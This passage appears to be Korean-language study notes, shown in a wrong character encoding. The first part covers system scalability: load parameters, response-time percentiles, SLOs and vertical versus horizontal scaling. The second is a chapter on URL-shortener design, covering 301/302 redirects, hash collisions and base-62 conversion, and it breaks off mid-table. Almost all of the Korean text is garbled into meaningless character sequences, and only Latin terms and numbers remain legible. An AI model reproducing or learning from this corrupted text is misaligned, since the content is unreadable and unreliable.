"์‹œ์Šคํ…œ์ด ํŠน์ • ๋ฐฉ์‹์œผ๋กœ ์ปค์ง€๋ฉด ์ด์— ๋Œ€์‘ํ•˜๊ธฐ ์œ„ํ•œ ๋ฐฉ๋ฒ•์€ ๋ฌด์—‡์ธ๊ฐ€?" ํ˜น์€ "์ถ”๊ฐ€ ๋ถ€ํ•˜๋ฅผ ๋‹ค๋ฃจ๊ธฐ ์œ„ํ•ด ์ปดํ“จํŒ… ๋ฆฌ์†Œ์Šค๋Š” ์–ด๋–ป๊ฒŒ ํˆฌ์ž…ํ•ด์•ผ ํ• ๊นŒ?" ์™€ ๊ฐ™์€ ์งˆ๋ฌธ์„ ๊ณ ๋ คํ•œ๋‹ค๋Š” ์˜๋ฏธ๋‹ค. ### ๋ถ€ํ•˜ ๊ธฐ์ˆ ํ•˜๊ธฐ ๋ถ€ํ•˜ ์„ฑ์žฅ ์งˆ๋ฌธ(๋ถ€ํ•˜๊ฐ€ ๋‘ ๋ฐฐ๋กœ ๋˜๋ฉด ์–ด๋–ป๊ฒŒ ๋ ๊นŒ?)์„ ๋…ผ์˜ํ•˜๋ ค๋ฉด ์‹œ์Šคํ…œ์˜ ํ˜„์žฌ ๋ถ€ํ•˜๋ฅผ ๊ฐ„๊ฒฐํ•˜๊ฒŒ ๊ธฐ์ˆ ํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•œ๋‹ค. ๋ถ€ํ•˜๋Š” load parameter(๋ถ€ํ•˜ ๋งค๊ฐœ๋ณ€์ˆ˜)๋ผ๊ณ  ๋ถˆ๋ฆฌ๋Š” ๋ช‡ ๊ฐœ์˜ ์ˆซ์ž๋กœ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ๋‹ค. ์‹œ์Šคํ…œ ๋งˆ๋‹ค ์ ํ•ฉํ•œ load parameter๋Š” ๋‹ฌ๋ผ์งˆ ์ˆ˜ ์žˆ๋‹ค. load parameter ์˜ˆ๋กœ ์›น ์„œ๋ฒ„์˜ ์ดˆ๋‹น ์š”์ฒญ ์ˆ˜, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ์ฝ๊ธฐ ๋Œ€ ์“ฐ๊ธฐ ๋น„์œจ, ๋Œ€ํ™”๋ฐฉ์˜ active user, ์บ์‹œ ์ ์ค‘๋ฅ  ๋“ฑ์ด ์žˆ๋‹ค. ํ‰๊ท ์ ์ธ ์ˆ˜์น˜๊ฐ€ ์ค‘์š”ํ•  ์ˆ˜๋„ ์žˆ๊ณ , ์†Œ์Šค์˜ ๊ทน๋‹จ์ ์ธ ๊ฒฝ์šฐ๊ฐ€ ๋ณ‘๋ชฉ ํ˜„์ƒ์˜ ์›์ธ์ผ ์ˆ˜๋„ ์žˆ๋‹ค. ### ์„ฑ๋Šฅ ๊ธฐ์ˆ ํ•˜๊ธฐ ์‹œ์Šคํ…œ ๋ถ€ํ•˜๋ฅผ ๊ธฐ์ˆ ํ•˜๋ฉด ๋ถ€ํ•˜ ์ฆ๊ฐ€์‹œ ์–ด๋–ค ์ผ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์•Œ์•„๋ณผ ์ˆ˜ ์žˆ๋‹ค. ๋‹ค์Œ ๋‘๊ฐ€์ง€ ๋ฐฉ๋ฒ•์œผ๋กœ ์‚ดํŽด ๋ณผ ์ˆ˜ ์žˆ๋‹ค. - ๋ถ€ํ•˜ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ฆ๊ฐ€์‹œํ‚ค๊ณ , ์‹œ์Šคํ…œ ์ž์›์€ ์œ ์ง€ํ•˜๋ฉด ์‹œ์Šคํ…œ ์„ฑ๋Šฅ์—” ์–ด๋–ค ์˜ํ–ฅ์ด ๊ฐˆ๊นŒ? - ๋ถ€ํ•˜ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ฆ๊ฐ€์‹œ์ผฐ์„ ๋•Œ ์„ฑ๋Šฅ์„ ์œ ์ง€ํ•˜๋ ค๋ฉด ์ž์›์„ ์–ผ๋งˆ๋‚˜ ๋Š˜๋ ค์•ผ ํ• ๊นŒ? ๋‘ ์งˆ๋ฌธ ๋ชจ๋‘ ์„ฑ๋Šฅ ์ˆ˜์น˜๊ฐ€ ํ•„์š”ํ•˜๋‹ค. ์‹œ์Šคํ…œ ์„ฑ๋Šฅ์— ๋Œ€ํ•ด ๊ฐ„๋‹จํžˆ ์‚ดํŽด๋ณด์ž. ํ•˜๋‘ก๊ณผ ๊ฐ™์€ ์ผ๊ด„ ์ฒ˜๋ฆฌ ์‹œ์Šคํ…œ์€ ๋ณดํ†ต ์ฒ˜๋ฆฌ๋Ÿ‰(throughput)์— ๊ด€์‹ฌ์„ ๊ฐ€์ง€๋Š” ๋ฐ˜๋ฉด ์˜จ๋ผ์ธ ์‹œ์Šคํ…œ์—์„œ๋Š” ์„œ๋น„์Šค ์‘๋‹ต ์‹œ๊ฐ„(response time) ์ฆ‰ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์š”์ฒญ์„ ๋ณด๋‚ด๊ณ  ์‘๋‹ต์„ ๋ฐ›๋Š” ์‚ฌ์ด์˜ ์‹œ๊ฐ„์— ๋” ๊ด€์‹ฌ์„ ๊ฐ–๋Š”๋‹ค. ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์š”์ฒญ์„ ๋ณด๋‚ด๊ณ  ๋ฐ›์„ ๋•Œ ๋งˆ๋‹ค ์‘๋‹ต์‹œ๊ฐ„์€ ๋‹ฌ๋ผ์ง„๋‹ค. ๋”ฐ๋ผ์„œ ์‘๋‹ต ์‹œ๊ฐ„์€ ๋‹จ์ผ ์ˆซ์ž๊ฐ€ ์•„๋‹ˆ๋ผ ์ธก์ • ๊ฐ€๋Šฅํ•œ ๊ฐ’์˜ ๋ถ„ํฌ๋กœ ์ƒ๊ฐํ•ด์•ผ ํ•œ๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ ๋ณดํ†ต ์–ผ๋งˆ๋‚˜ ์˜ค๋žซ๋™์•ˆ ๊ธฐ๋‹ค๋ ค์•ผ ํ•˜๋Š”์ง€ ์•Œ๊ณ  ์‹ถ๋‹ค๋ฉด ์ค‘์•™๊ฐ’์ด ์ข‹์€ ์ง€ํ‘œ๋‹ค. ์‚ฌ์šฉ์ž ์š”์ฒญ์˜ ์ ˆ๋ฐ˜์€ ์ค‘์•™๊ฐ’ ์‘๋‹ต ์‹œ๊ฐ„ ๋ฏธ๋งŒ์œผ๋กœ ์ œ๊ณต๋˜๊ณ , ๋‚˜๋จธ์ง€ ๋ฐ˜์€ ์ค‘์•™๊ฐ’๋ณด๋‹ค ์˜ค๋ž˜ ๊ฑธ๋ฆฐ๋‹ค. ์ค‘์•™๊ฐ’์€ 50๋ถ„์œ„๋กœ์„œ p50์œผ๋กœ ์ถ•์•ฝํ•  ์ˆ˜ ์žˆ๋‹ค. ํŠน์ด ๊ฐ’์ด ์–ผ๋งˆ๋‚˜ ์ข‹์ง€ ์•Š์€์ง€๋ฅผ ํ™•์ธํ•˜๋ ค๋ฉด ์ƒ์œ„ ๋ฐฑ๋ถ„์œ„(์ผ๋ฐ˜์ ์œผ๋กœ p95, p99, p100)๋ฅผ ์‚ดํŽด๋ณด๋Š” ๊ฒƒ๋„ ์ข‹๋‹ค. ๊ผฌ๋ฆฌ ์ง€์—ฐ ์‹œ๊ฐ„(tail latency)๋กœ ์•Œ๋ ค์ง„ ์ƒ์œ„ ๋ฐฑ๋ถ„์œ„ ์‘๋‹ต ์‹œ๊ฐ„์€ ์„œ๋น„์Šค ์‚ฌ์šฉ์ž ๊ฒฝํ—˜์— ์ง์ ‘์ ์ธ ์˜ํ–ฅ์„ ์ฃผ๊ธฐ ๋•Œ๋ฌธ์— ์ค‘์š”ํ•˜๋‹ค. ๋ฐฑ๋ถ„์œ„๋Š” SLO(Service Level Objective, ์„œ๋น„์Šค ์ˆ˜์ค€ ๋ชฉํ‘œ)์™€ SLA(Service Level Agreement, ์„œ๋น„์Šค ์ˆ˜์ค€ ํ˜‘์•ฝ์„œ)์— ์ž์ฃผ ์‚ฌ์šฉํ•˜๊ณ  ๊ธฐ๋Œ€ ์„ฑ๋Šฅ๊ณผ ์„œ๋น„์Šค ๊ฐ€์šฉ์„ฑ์„ ์ •์˜ํ•˜๋Š” ๊ณ„์•ฝ์„œ์—๋„ ์ž์ฃผ ๋“ฑ์žฅํ•œ๋‹ค. ### ๋ถ€ํ•˜ ๋Œ€์‘ ์ ‘๊ทผ ๋ฐฉ์‹ - ์šฉ๋Ÿ‰ ํ™•์žฅ(Scaling Up), ์ˆ˜์ง ํ™•์žฅ(Vertical Scaling) - ๊ทœ๋ชจ ํ™•์žฅ(Scale out), ์ˆ˜ํ‰ ํ™•์žฅ(Horizontal Scaling) ๋‹ค์ˆ˜์˜ ์žฅ๋น„์— ๋ถ€ํ•˜๋ฅผ ๋ถ„์‚ฐํ•˜๋Š” ์•„ํ‚คํ…์ฒ˜๋ฅผ ๋น„๊ณต์œ (shared-noting) ์•„ํ‚คํ…์ฒ˜๋ผ๊ณ  ๋ถ€๋ฅธ๋‹ค. ์ผ๋ถ€ ์‹œ์Šคํ…œ์€ ํƒ„๋ ฅ์ (elastic)์ด๋‹ค. ๋ถ€ํ•˜๋ฅผ ๊ฐ์ง€ํ•˜๋ฉด ์ปดํ“จํŒ… ์ž์›์ด ์ž๋™์œผ๋กœ ์ถ”๊ฐ€๋œ๋‹ค. ๊ทธ๋ ‡์ง€ ๋ชปํ•œ ์‹œ์Šคํ…œ์€ ์‚ฌ๋žŒ์ด ์ˆ˜๋™์œผ๋กœ ํ™•์žฅํ•ด์•ผํ•œ๋‹ค. ํƒ„๋ ฅ์ ์ธ ์‹œ์Šคํ…œ์€ ๋ถ€ํ•˜๊ฐ€ ์˜ˆ์ธก ๋ถˆ๊ฐ€๋Šฅํ•œ ์ˆ˜์ค€์œผ๋กœ ๋†’์„ ๊ฒฝ์šฐ ์œ ์šฉํ•˜๊ณ , ์ˆ˜๋™์œผ๋กœ ํ™•์žฅํ•˜๋Š” ์‹œ์Šคํ…œ์€ ๋” ๊ฐ„๋‹จํ•˜๊ณ  ์˜ˆ์ธก ๋ถˆ๊ฐ€๋Šฅํ•œ ์ผ์ด ๋” ์ ๋‹ค. stateless ์„œ๋น„์Šค๋ฅผ ์—ฌ๋Ÿฌ ์žฅ๋น„์— ๋ฐฐํฌํ•˜๋Š” ์ผ์€ ๊ฐ„๋‹จํ•˜์ง€๋งŒ, stateful ์„œ๋น„์Šค๋ฅผ ๋ถ„์‚ฐ ์„ค์น˜ํ•˜๋Š” ์ผ์€ ๋ณต์žก๋„๊ฐ€ ๋†’๋‹ค. ์ด๋Ÿฌํ•œ ์ด์œ ๋กœ ํ™•์žฅ ๋น„์šฉ์ด๋‚˜ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๋ถ„์‚ฐํ•ด์•ผํ•˜๋Š” ์š”๊ตฌ๊ฐ€ ์žˆ์„ ๋•Œ๊นŒ์ง€๋Š” ๋‹จ์ผ ๋…ธ๋“œ๋กœ ์šด์˜ํ•˜๋Š” ๊ฒƒ์ด ์ตœ๊ทผ๊นŒ์ง€์˜ ํ†ต๋…์ด์—ˆ๋‹ค. ํ•˜์ง€๋งŒ ๋ถ„์‚ฐ ์‹œ์Šคํ…œ์„ ์œ„ํ•œ ๋„๊ตฌ์™€ ์ถ”์ƒํ™”๊ฐ€ ๋ฐœ์ „ํ•˜์—ฌ ์ด ํ†ต๋…์ด ์ผ๋ถ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ๋Š” ๋ฐ”๋€Œ์—ˆ๋‹ค. ํ–ฅํ›„์—๋Š” ๋Œ€์šฉ๋Ÿ‰ ๋ฐ์ดํ„ฐ์™€ ํŠธ๋ž˜ํ”ฝ์„ ๋‹ค๋ฃจ์ง€ ์•Š๋Š” ์‚ฌ๋ก€์—์„œ๋„ ๋ถ„์‚ฐ ๋ฐ์ดํ„ฐ ์‹œ์Šคํ…œ์ด ๊ธฐ๋ณธ ์•„ํ‚คํ…์ฒ˜๋กœ ์ž๋ฆฌ ์žก์„ ํ™•๋ฅ ์ด ๋†’๋‹ค. ๋Œ€๊ทœ๋ชจ๋กœ ๋™์ž‘ํ•˜๋Š” ์‹œ์Šคํ…œ์˜ ์•„ํ‚คํ…์ฒ˜๋Š” ํ•ด๋‹น ์‹œ์Šคํ…œ์„ ์‚ฌ์šฉํ•˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ํŠนํ™” ๋˜์–ด ์žˆ์–ด ๋ฒ”์šฉ์ ์ด๊ณ  ๋ชจ๋“  ์ƒํ™ฉ์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” (one-size-fits-all) ํ™•์žฅ ์•„ํ‚คํ…์ฒ˜ (magic scaling source)๋Š” ์—†๋‹ค. ํŠน์ • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์ ํ•ฉํ•œ ํ™•์žฅ์„ฑ์„ ๊ฐ–์ถ˜ ์•„ํ‚คํ…์ฒ˜๋Š” ์ฃผ์š” ๋™์ž‘์ด ๋ฌด์—‡์ด๊ณ  ์ž˜ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” ๋™์ž‘์ด ๋ฌด์—‡์ธ์ง€์— ๋Œ€ํ•œ ๊ฐ€์ •์„ ๋ฐ”ํƒ•์œผ๋กœ ๋งŒ๋“ค์–ด์ง„๋‹ค. ์ด ๊ฐ€์ •์€ ๊ณง ๋ถ€ํ•˜ ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ๋œ๋‹ค. ์ด ๊ฐ€์ •์ด ์ž˜๋ชป๋˜๋ฉด ์—”์ง€๋‹ˆ์–ด๋ง์€ ์ตœ์•…์˜ ๊ฒฝ์šฐ ์—ญํšจ๊ณผ๋ฅผ ๋‚ณ๋Š”๋‹ค. ์Šคํƒ€ํŠธ์—… ์ดˆ๊ธฐ๋‚˜ ๊ฒ€์ฆ๋˜์ง€ ์•Š์€ ์ œํ’ˆ์„ ๋งŒ๋“ค ๋•Œ์—๋Š” ๋ฏธ๋ž˜์˜ ๋ถ€ํ•˜์— ๊ฐ€์ •ํ•ด์„œ ํ™•์žฅํ•˜๊ธฐ ๋ณด๋‹ค๋Š” ๋น ๋ฅด๊ฒŒ ๋ฐ˜๋ณตํ•ด์„œ ์ œํ’ˆ ๊ธฐ๋Šฅ์„ ๊ฐœ์„ ํ•˜๋Š” ๊ฒƒ์ด ๋” ์ค‘์š”ํ•˜๋‹ค.``` chap8.md ```# 8์žฅ URL ๋‹จ์ถ•ํ‚ค ์„ค๊ณ„ ## 1๋‹จ๊ณ„ ๋ฌธ์ œ ์ดํ•ด ๋ฐ ์„ค๊ณ„ ๋ฒ”์œ„ ํ™•์ • 1. URL ๋‹จ์ถ•: ์ฃผ์–ด์ง„ ๊ธด URL์„ ํ›จ์”ฌ ์งง๊ฒŒ ์ค„์ธ๋‹ค. 2. URL ๋ฆฌ๋””๋ ‰์…˜: ์ถ•์•ฝ๋œ URL๋กœ HTTP ์š”์ฒญ์ด ์˜ค๋ฉด ์›๋ž˜ URL๋กœ ์•ˆ๋‚ด 3. ๋†’์€ ๊ฐ€์šฉ์„ฑ๊ณผ ๊ทœ๋ชจ ํ™•์ •์„ฑ, ๊ทธ๋ฆฌ๊ณ  ์žฅ์•  ๊ฐ๋‚ด๊ฐ€ ์š”๊ตฌ๋จ ## 2๋‹จ๊ณ„: ๊ฐœ๋žต์  ์„ค๊ณ„์•ˆ ์ œ์‹œ ๋ฐ ๋™์˜ ๊ตฌํ•˜๊ธฐ #### API ์—”๋“œํฌ์ธํŠธ URL ๋‹จ์ถ•๊ธฐ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ๋‘ ๊ฐœ์˜ ์—”๋“œํฌ์ธํŠธ๋ฅผ ํ•„์š”๋กœ ํ•œ๋‹ค. 1. URL ๋‹จ์ถ•์šฉ ์—”๋“œํฌ์ธํŠธ: ์ƒˆ ๋‹จ์ถ• URL์„ ์ƒ์„ฑํ•˜๊ณ ์ž ํ•˜๋Š” ํด๋ผ์ด์–ธํŠธ๋Š” ์ด ์—”๋“œํฌ์ธํŠธ์— ๋‹จ์ถ•ํ•  URL์„ ์ธ์ž๋กœ ์‹ค์–ด์„œ POST๋กœ ๋ณด๋‚ด์•ผ ํ•œ๋‹ค. 2. URL ๋ฆฌ๋””๋ ‰์…˜์šฉ ์—”๋“œํฌ์ธํŠธ: ๋‹จ์ถ• URL์— ๋Œ€ํ•ด์„œ HTTP ์š”์ฒญ์ด ์˜ค๋ฉด ์›๋ž˜ URL๋กœ ๋ณด๋‚ด์ฃผ๊ธฐ ์œ„ํ•œ ์šฉ๋„์˜ ์—”๋“œํฌ์ธํŠธ\ #### URL ๋ฆฌ๋””๋ ‰์…˜ ๋‹จ์ถ• URL์„ ๋ฐ›์€ ์„œ๋ฒ„๋Š” ๊ทธ URL์„ ์›๋ž˜ URL๋กœ ๋ฐ”๊ฟ”์„œ 301 ์‘๋‹ต์˜ Location ํ—ค๋”์— ๋„ฃ์–ด ๋ฐ˜ํ™˜ํ•œ๋‹ค. ์—ฌ๊ธฐ์„œ 301๊ณผ 302 ๋ชจ๋‘ ๋ฆฌ๋””๋ ‰์…˜ ์‘๋‹ต์ด๊ธด ํ•˜์ง€๋งŒ ์ฐจ์ด๊ฐ€ ์žˆ๋‹ค. - 301 Permanetly Moved: ํ•ด๋‹น URL์— ๋Œ€ํ•œ HTTP ์š”์ฒญ์˜ ์ฒ˜๋ฆฌ ์ฑ…์ž„์ด ์˜๊ตฌ์ ์œผ๋กœ Location ํ—ค๋”์— ๋ฐ˜ํ™˜๋œ URL๋กœ ์ด์ „๋๋‹ค๋ผ๋Š” ์‘๋‹ต. ์˜๊ตฌ์ ์œผ๋กœ ์ด์ „๋œ ๊ฒƒ์ด๋ฏ€๋กœ, ๋ธŒ๋ผ์šฐ์ €๋Š” ์ด ์‘๋‹ต์„ ์บ์‹œํ•œ๋‹ค. ๋”ฐ๋ผ์„œ ์ถ”ํ›„ ๊ฐ™์€ ๋‹จ์ถ• URL์— ์š”์ฒญ์„ ๋ณด๋‚ผ ํ•„์š”๊ฐ€ ์žˆ์„ ๋•Œ ๋ธŒ๋ผ์šฐ์ €๋Š” ์บ์‹œ๋œ ์›๋ž˜ URL๋กœ ์š”์ฒญ์„ ๋ณด๋‚ด๊ฒŒ ๋œ๋‹ค. - 302 Found: ์ผ์‹œ์ ์œผ๋กœ Location ํ—ค๋”๊ฐ€ ์ง€์ •ํ•˜๋Š” URL๋กœ ์ฒ˜๋ฆฌํ•œ๋‹ค. ๋”ฐ๋ผ์„œ ํด๋ผ์ด์–ธํŠธ์˜ ์š”์ฒญ์€ ์–ธ์ œ๋‚˜ ๋‹จ์ถ• URL์— ๋จผ์ € ๋ณด๋‚ด์ง„ ํ›„ ์›๋ž˜ URL๋กœ ๋ฆฌ๋””๋ ‰์…˜ ๋œ๋‹ค. ๋‘ ์‘๋‹ต์˜ ์žฅ๋‹จ์  - 301 Permanent Moved: ์„œ๋ฒ„ ๋ถ€ํ•˜๋ฅผ ์ค„์ผ ๋•Œ ์šฉ์ด. ์ฒซ ๋ฒˆ์งธ ์š”์ฒญ๋งŒ ๋‹จ์ถ• URL ์„œ๋ฒ„๋กœ ์ „์†ก๋œ๋‹ค. - 302 Found: ํŠธ๋ž˜ํ”ฝ ๋ถ„์„์ด ์ค‘์š”ํ•  ๋•Œ ์šฉ์ด: ํด๋ฆญ ๋ฐœ์ƒ๋ฅ , ๋ฐœ์ƒ ์œ„์น˜ ์ถ”์ ์— ์œ ๋ฆฌ URL ๋ฆฌ๋””๋ ‰์…˜์„ ๊ตฌํ˜„ํ•˜๋Š” ๊ฐ€์žฅ ์ง๊ด€์ ์ธ ๋ฐฉ๋ฒ•์€ `<๋‹จ์ถ• URL, ์›๋ž˜ URL>` ์˜ ์Œ์„ ํ•ด์‹œ ํ…Œ์ด๋ธ”์— ์ €์žฅํ•˜๋Š” ๊ฒƒ์ด๋‹ค. ์ด ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•œ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค. - ์›๋ž˜ URL = ํ•ด์‹œํ…Œ์ด๋ธ”(๋‹จ์ถ•URL) - 301 ๋˜๋Š” 302 ์‘๋‹ต Location ํ—ค๋”์— ์›๋ž˜ URL์„ ๋„ฃ์€ ํ›„ ์ „์†ก #### URL ๋‹จ์ถ• ๋‹จ์ถ• URL: `www.tinyurl.com/{hashValue}` - ์ด URL์„ `hashValue` ๋กœ ๋Œ€์‘์‹œํ‚ฌ ํ•ด์‹œ ํ•จ์ˆ˜๋ฅผ ์ฐพ๋Š” ๊ฒŒ ์ค‘์š”ํ•˜๋‹ค. - ์ด ํ•ด์‹œ ํ•จ์ˆ˜์˜ ์š”๊ตฌ์‚ฌํ•ญ์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค. - ์ž…๋ ฅ์œผ๋กœ ์ฃผ์–ด์ง€๋Š” ๊ธด URL์ด ๋‹ค๋ฅธ ๊ฐ’์ด๋ฉด ํ•ด์‹œ ๊ฐ’๋„ ๋‹ฌ๋ผ์•ผ ํ•œ๋‹ค. - ๊ณ„์‚ฐ๋œ ํ•ด์‹œ ๊ฐ’์€ ์›๋ž˜ ์ž…๋ ฅ์œผ๋กœ ์ฃผ์–ด์กŒ๋˜ ๊ธด URL๋กœ ๋ณต์›๋  ์ˆ˜ ์žˆ์–ด์•ผ ํ•œ๋‹ค. ## 3๋‹จ๊ณ„ ์ƒ์„ธ ์„ค๊ณ„ #### ๋ฐ์ดํ„ฐ ๋ชจ๋ธ ์•ž์„œ ๊ฐœ๋žต์  ์„ค๊ณ„์—์„œ๋Š” ๋ชจ๋“  ๊ฒƒ์„ ํ•ด์‹œํ…Œ์ด๋ธ”์— ๋‹ด์•˜๋‹ค. ์ด ์ ‘๊ทผ๋ฒ•์€ ์ดˆ๊ธฐ์—๋Š” ๊ดœ์ฐฎ์ง€๋งŒ ์‹ค์ œ ์‹œ์Šคํ…œ์—์„œ๋Š” ์–ด๋ ต๋‹ค. ๋ฉ”๋ชจ๋ฆฌ๋Š” ์œ ํ•œํ•˜๊ณ , ๋น„์‹ผ ์ž์›์ด๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ๋” ๋‚˜์€ ๋ฐฉ๋ฒ•์€ `<๋‹จ์ถ• URL, ์›๋ž˜ URL>` ์˜ ์ˆœ์„œ์Œ์„ DB์— ์ €์žฅํ•˜๋Š” ๊ฒƒ์ด๋‹ค. DB์—๋Š” ์ด ์ˆœ์„œ์Œ์„ id, shortUrl, longUrl ์„ธ ๊ฐœ์˜ ์นผ๋Ÿผ์„ ๊ฐ–๋Š” ํ…Œ์ด๋ธ”์— ์ €์žฅํ•œ๋‹ค. (์ค‘์š”ํ•œ ์นผ๋Ÿผ๋งŒ ์ถ”๋ ธ์„ ๋•Œ) #### ํ•ด์‹œ ํ•จ์ˆ˜ ์›๋ž˜ URL์„ ๋‹จ์ถ• URL๋กœ ๋ณ€ํ™˜ํ•˜๋Š”๋ฐ ์“ฐ์ธ๋‹ค. ํŽธ์˜์ƒ ํ•ด์‹œ ํ•จ์ˆ˜๊ฐ€ ๊ณ„์‚ฐํ•˜๋Š” ๋‹จ์ถ• URL ๊ฐ’์„ hashValue๋ผ๊ณ  ์ง€์นญํ•˜๊ฒ ๋‹ค. ##### ํ•ด์‹œ ๊ฐ’ ๊ธธ์ด hashValue๋Š” [0-9, a-z, A-Z] ์ด 62๊ฐœ์˜ ๋ฌธ์ž๋กœ ๊ตฌ์„ฑ๋œ๋‹ค. hashValue์˜ ๊ธธ์ด๋ฅผ ๊ตฌํ•˜๋ ค๋ฉด 62์˜ N์Šน >= 3650์ธ N์˜ ์ตœ์†Ÿ๊ฐ’์„ ์ฐพ์•„์•ผ ํ•œ๋‹ค. ๊ฐœ๋žต์ ์œผ๋กœ ๊ณ„์‚ฐํ–ˆ๋˜ ์ด ์‹œ์Šคํ…œ์˜ ์ถ”์ •์น˜์— ๋”ฐ๋ฅด๋ฉด 3650์–ต๊ฐœ์˜ URL์„ ๋งŒ๋“ค์–ด๋‚ผ ์ˆ˜ ์žˆ์–ด์•ผ ํ•œ๋‹ค. ๋”ฐ๋ผ์„œ N=7๋กœ ์‚ฌ์šฉํ•œ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•  ๊ฒฝ์šฐ 3.5์กฐ๊ฐœ์˜ URL์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค. ##### ํ•ด์‹œ ํ›„ ์ถฉ๋Œ ํ•ด์†Œ ๊ธด URL์„ ์ค„์ด๋ ค๋ฉด ์›๋ž˜ URL์„ 7๊ธ€์ž๋กœ ์ค„์ด๋Š” ํ•ด์‹œ ํ•จ์ˆ˜๊ฐ€ ํ•„์š”ํ•˜๋‹ค. ์†์‰ฌ์šด ๋ฐฉ๋ฒ•์€ CRC32, MD5, SHA-1๊ณผ ๊ฐ™์ด ์ž˜ ์•Œ๋ ค์ง„ ํ•ด์‹œ ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜๋Š” ๊ฒƒ์ธ๋ฐ, ์ด๋“ค ํ•ด์‹œ ํ•จ์ˆ˜์˜ ๊ฒฐ๊ณผ๋กœ ๋‚˜์˜จ ํ•ด์‹œ ๊ฐ’์€ ๋ชจ๋‘ 7๊ธ€์ž๊ฐ€ ๋„˜๋Š”๋‹ค. ์ด ๊ฐ’์„ ์–ด๋–ป๊ฒŒ ํ•˜๋ฉด ์ค„์ผ ์ˆ˜ ์žˆ์„๊นŒ? ์ด ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•  ์ฒซ๋ฒˆ์งธ ๋ฐฉ๋ฒ•์€ ๊ณ„์‚ฐ๋œ ๊ฒฐ๊ณผ์—์„œ ์•ž 7๊ฐœ ๊ธ€์ž๋งŒ ์ด์šฉํ•˜๋Š” ๊ฒƒ์ด๋‹ค. ํ•˜์ง€๋งŒ ์ด๋ ‡๊ฒŒ ํ•  ๊ฒฝ์šฐ ์ถฉ๋Œ๋  ํ™•๋ฅ ์ด ๋†’์•„์ง„๋‹ค. ์ถฉ๋Œ์ด ์‹ค์ œ๋กœ ๋ฐœ์ƒํ–ˆ์„ ๋•Œ๋Š”, ์ถฉ๋Œ์ด ํ•ด์†Œ๋  ๋•Œ๊นŒ์ง€ ์‚ฌ์ „์— ์ •ํ•œ ๋ฌธ์ž์—ด์„ ํ•ด์‹œ ๊ฐ’์— ๋ง๋ถ™์ธ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ์ถฉ๋Œ์„ ํ•ด์†Œํ•  ์ˆ˜ ์žˆ์ง€๋งŒ ๋‹จ์ถ• URL์„ ์ƒ์„ฑํ–ˆ์„ ๋•Œ ํ•œ ๋ฒˆ ์ด์ƒ DB๋ฅผ ์งˆ์˜ํ•ด์•ผ ํ•˜๋ฏ€๋กœ ์˜ค๋ฒ„ํ—ค๋“œ๊ฐ€ ํฌ๋‹ค. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋Œ€์‹  ๋ธ”๋ฃธ ํ•„ํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์„ฑ๋Šฅ์„ ๋†’์ผ ์ˆ˜ ์žˆ๋‹ค. ๋ธ”๋ฃธํ•„ํ„ฐ๋Š” ์–ด๋–ค ์ง‘ํ•ฉ์— ํŠน์ • ์›์†Œ๊ฐ€ ์žˆ๋Š”์ง€ ๊ฒ€์‚ฌํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ํ™•๋ฅ ๋ก ์— ๊ธฐ์ดˆํ•œ ๊ณต๊ฐ„ ํšจ์œจ์ด ์ข‹์€ ๊ธฐ์ˆ ์ด๋‹ค. ##### base-62 ๋ณ€ํ™˜ - hashValue์— ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ž ๊ฐœ์ˆ˜๊ฐ€ 62์ด๊ธฐ ๋•Œ๋ฌธ์— 62์ง„๋ฒ•์„ ์‚ฌ์šฉํ•œ๋‹ค. - 62์ง„๋ฒ•์€ ์ด 62๊ฐœ์˜ ๋ฌธ์ž [0-9, a-z, A-Z] ๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค. - `www.tinyurl.com/{hashValue}` ์˜ `hashValue` ๋ถ€๋ถ„์„ 62์ง„๋ฒ•์„ ์ด์šฉํ•ด ๋ณ€ํ™˜ํ•œ๋‹ค ##### ํ•ด์‹œ ํ›„ ์ถฉ๋Œ ํ•ด์†Œ vs base-62 ๋ณ€ํ™˜ | ํ•ด์‹œ ํ›„ ์ถฉ๋Œ ํ•ด์†Œ | base-62 ๋ณ€ํ™˜ | | ------------------------------------------------------------ | ------------------------------------------------------------ | | ๋‹จ์ถ• URL์˜ ๊ธธ์ด๊ฐ€ ๊ณ ์ •๋จ | ๋‹จ์ถ• URL์˜ ๊ธธ์ด๊ฐ€ ๊ฐ€๋ณ€์ . ID๊ฐ€ ์ปค์ง€๋ฉด ๊ฐ™์ด ๊ธธ์–ด์ง | | ์œ ์ผ์„ฑ์ด ๋ณด์žฅ๋˜๋Š” ID ์ƒ์„ฑ๊ธฐ๊ฐ€ ํ•„์š”์น˜ ์•Š์Œ | ์œ ์ผ์„ฑ ๋ณด์žฅ ID 